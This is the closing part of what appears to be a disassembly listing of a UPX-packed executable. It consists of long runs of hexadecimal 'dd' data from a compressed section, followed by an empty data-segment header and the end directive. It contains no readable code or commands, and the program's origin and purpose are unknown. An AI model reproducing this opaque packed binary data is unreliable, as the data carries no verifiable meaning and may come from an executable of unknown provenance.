		dd 8FF89404h, 0A5003721h, 72798034h, 8FC77694h,	650C021Bh
		dd 705E604Ch, 745CDC52h, 4345B448h, 0B63860AEh,	10805B51h
		dd 0CE099A54h, 0E48FD658h, 308383A9h, 62A0BACh,	0FBA8149Ch
		dd 0E43A45Ch, 0C6526551h, 0FFA46C2Ch, 0CDDD5B80h, 96B0EBD2h
		dd 3712776Bh, 70949288h, 0ECEAA4D4h, 9E1AB39Dh,	9ABBDD16h
		dd 728A828h, 9C498E35h,	35FB2634h, 55A77C80h, 907DEF5Ch
		dd 0BA28775Eh, 47904CC0h, 44CE6C61h, 1C40198Ch,	2ED1734h
		dd 65080C59h, 37B86FC1h, 474A073Fh, 0FD484CFDh,	4845074Bh
		dd 6938CDADh, 0DDA04E28h, 8308B254h, 5D8F9EEBh,	0BDF8E9AAh
		dd 0A6413507h, 0A8C2ADD4h, 577BB8BFh, 9690C9C9h, 0AEE08E2Ch
		dd 7E42E7B1h, 0C92587ABh, 0EA184E4Dh, 0B5D06F08h, 53E0313Fh
		dd 0F4DD4E9Ch, 3E986470h, 0A1DF6A3Bh, 29A8045Ah, 4A8EE4B9h
		dd 3E94AC29h, 0AC430F2Ch, 0FF081175h, 3F1D74DCh, 0C2F8CF68h
		dd 8E608E62h, 41378942h, 0CA10E5F6h, 0C1983C67h, 4B8B2B63h
		dd 80A41A39h, 9260A53Ch, 854D3476h, 7C4C678Ch, 0F2697AABh
		dd 0F87999ABh, 80337153h, 0AE6BAA07h, 7F64E779h, 0EFE3507Ch
		dd 0F993B243h, 4B75C47Fh, 0AB4810BEh, 0A51A41h,	3C6C1A64h
		dd 0BF520A4h, 3A7DF934h, 7650DBB6h, 0CB943AB9h,	0F054E66Ch
		dd 0F6CA5E13h, 0CBF0D11Ch, 449EC6A4h, 0B6E090C7h, 52205874h
		dd 63CD5923h, 23759C40h, 8C40BD60h, 635D7842h, 0F4305C55h
		dd 0E8978E1Ch, 620067F7h, 7AB8D93Dh, 4CBA523Ch,	6CADB8D2h
		dd 0B2A01CC6h, 898C3D94h, 97027BCh, 7D884DE4h, 0C2A428Fh
		dd 2A8079Ch, 6DEFAB9Ch,	0ED58DB02h, 0ED1F10AFh,	0D84BD910h
		dd 19355BFCh, 4E18E849h, 98AD6541h, 4D7D3E34h, 0F25088B1h
		dd 0C8B8F456h, 0A7CA0693h, 7B0B88F4h, 0AA7471C3h, 45873A6h
		dd 0B775960Ch, 0A6287E59h, 6EB9B549h, 0BC00CA44h, 3BDBBAA3h
		dd 0AB413414h, 24100494h, 0DA9BD7D7h, 6551441Dh, 0B19758B0h
		dd 0F9F0D2C8h, 0C6F2617Bh, 2425E9CCh, 0D89F5B5Bh, 643D4BCh
		dd 0E9344FADh, 0EB11BFACh, 0AFB7DCA5h, 5A40AA53h, 0BA528951h
		dd 8020102Ch, 854ADA10h, 8A35F6FCh, 0B3185549h,	0DDB82147h
		dd 5AE83E2Bh, 915387AFh, 0A44FBAF3h, 16DCC5E5h,	7B0335F4h
		dd 3C519300h, 0C96B20A4h, 0E137D70Fh, 83A1EA83h, 0FBB02D28h
		dd 0BB4FF987h, 0D08312AAh, 0D4D0B299h, 0D22495CBh, 7F38234h
		dd 3DD0C264h, 0D81FE98Eh, 0B8A45572h, 904222CDh, 1A7FE4EDh
		dd 0C583B01Fh, 6C3282A8h, 8E9033A9h, 0A663B57Bh, 7140E4CFh
		dd 0BD3577Ch, 4B5C084Fh, 3C58CAA5h, 0F27B3794h,	0CC7FA73Fh
		dd 0D1A5AF6Fh, 0EE8037E0h, 0CEDBD2BFh, 8F313E30h, 85C2C402h
		dd 4200C16Eh, 31FCBEE8h, 0F84F600h, 202DCD98h, 0BC4B0BEFh
		dd 0F670FD49h, 959BD9DCh, 9DAAE017h, 6C291DA3h,	8B4371EBh
		dd 3079D441h, 4F1C77A7h, 54FF91B3h, 103D20E3h, 0ACE1DD13h
		dd 1E05B17Bh, 319270AFh, 0CBF71FD0h, 7A201343h,	9AD76B70h
		dd 0EBBFE697h, 4A40D5C7h, 0F0EFFBA2h, 0B87F740h, 132DCD3h
		dd 0DF48E482h, 2B4FB714h, 0CA18279Bh, 3EDDC4CCh, 94CF94D9h
		dd 0AB49469Ch, 60DCA504h, 6595115Eh, 0EE88AFF9h, 0FE96A7B5h
		dd 7A02379Ah, 6AC17289h, 5C76EE74h, 0D4F684DFh,	45BD007Fh
		dd 4060B729h, 238BCC14h, 2B30107Ch, 207DA0EBh, 55F61B4Ch
		dd 8F6712E8h, 0D006C7h,	0D6188505h, 0E480D0CCh,	0E10828D0h
		dd 28BF33BCh, 49D72EDBh, 0C140C64Fh, 3DA0F97Fh,	6D3BA116h
		dd 614BA2B7h, 5EE399C7h, 558DB1Dh, 0A19D7E79h, 89669464h
		dd 0C5688E33h, 0EAE86734h, 777DA801h, 0B4255104h, 0AA206741h
		dd 0C877C142h, 2C79B633h, 97D327A4h, 17E030FCh,	0E144CFFh
		dd 0FCEFEF02h, 808A02BBh, 8D44B82Dh, 6928E814h,	0A2338B82h
		dd 0CD2D5FF0h, 0C000E85Ch, 0D0D1ADCEh, 0FAD0B31Ah, 0A1890D77h
		dd 3C539F0Fh, 815ACD0Bh, 4FD1A8Dh, 78D87E54h, 0C110FAEAh
		dd 9C4F9E1Ch, 139B04A3h, 5E3250C8h, 68E608A1h, 7EC116D7h
		dd 0EF6F4ACh, 4380944h,	92A85545h, 8B63047Eh, 4702468h
		dd 8AB0B53Dh, 0E76A7D6Fh, 6798ABD5h, 52F0875Fh,	0EF752821h
		dd 0CC82CB0Ch, 8978FC75h, 8D1BD00Eh, 0FCFA2520h, 0B7B4222Fh
		dd 80C89534h, 7ACD48F8h, 8A2D801Bh, 8F005561h, 45425421h
		dd 0B6659F1Ch, 0AF3875A9h, 6589E879h, 0E385CD54h, 0BD701591h
		dd 5F5CBB1h, 7112718Ch
		dd 0C41DEAF4h, 0F9102B71h, 0DB523651h, 2455092Ch, 1948CBB9h
		dd 0FB994269h, 1DAD5B64h, 3980EBE0h, 9BC51181h,	24AFE09Ch
		dd 0A698862Ah, 0B1F404EFh, 528896F4h, 86F08CD4h, 7D32DCA4h
		dd 59099A8Dh, 97706C54h, 1415A0D3h, 0D4F87751h,	8FE38F6Ch
		dd 0FDC7B2EBh, 12257FF9h, 37A5EFE4h, 6800084Ch,	6EE971A8h
		dd 76BC0138h, 155811F1h, 0D5F0828h, 4AE0E821h, 358F1D41h
		dd 2D2727F6h, 0E5BFE3EDh, 0AF9C948Ch, 0B3109DE4h, 0D90CDC4h
		dd 0E81F5CD3h, 0B70C13ADh, 440500CCh, 0F518A348h, 0F2E6709Ch
		dd 1BEA680Eh, 5E3835B9h, 0D8B8A604h, 1B2024A8h,	481DBC84h
		dd 0B0F01916h, 17D92660h, 42FF1B50h, 0D2AB1A01h, 0F4DFE6D8h
		dd 8110FBBBh, 959F0653h, 0E9E757D7h, 0CFD8E47Ch, 1698D9E4h
		dd 0FAB8CF6Ch, 5768C4B4h, 0B4D0BA1Fh, 27388B46h, 52AC80B8h
		dd 95F0197Ah, 621096C0h, 7FD88524h, 45642E07h, 0EBB2E4A9h
		dd 4039E9B1h, 0BA9BB2C4h, 8881AFD3h, 4590h, 1197h dup(0)
UPX2		ends

; Section 4. (virtual address 00027000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00027000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 31447000h
		align 2000h
_idata2		ends


		end start